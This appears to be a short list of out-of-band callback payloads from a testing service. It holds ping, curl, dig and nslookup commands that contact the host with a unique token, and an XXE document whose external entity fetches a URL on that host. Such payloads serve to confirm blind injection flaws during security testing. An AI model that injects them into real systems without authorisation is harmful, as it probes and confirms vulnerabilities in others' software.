$ ping -c1 -p 003f70935c81a2ca25c7924cbe546400 unhack.ca
 

$ curl http://unhack.ca/p/3f70935c81a2ca25c7924cbe5464
 

$ dig 3f70935c81a2ca25c7924cbe5464 @unhack.ca
 

$ dig 3f70935c81a2ca25c7924cbe5464.ns.unhack.ca
 

C:\> nslookup 3f70935c81a2ca25c7924cbe5464 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/3f70935c81a2ca25c7924cbe5464">]>
    <foo>&xxe;</foo>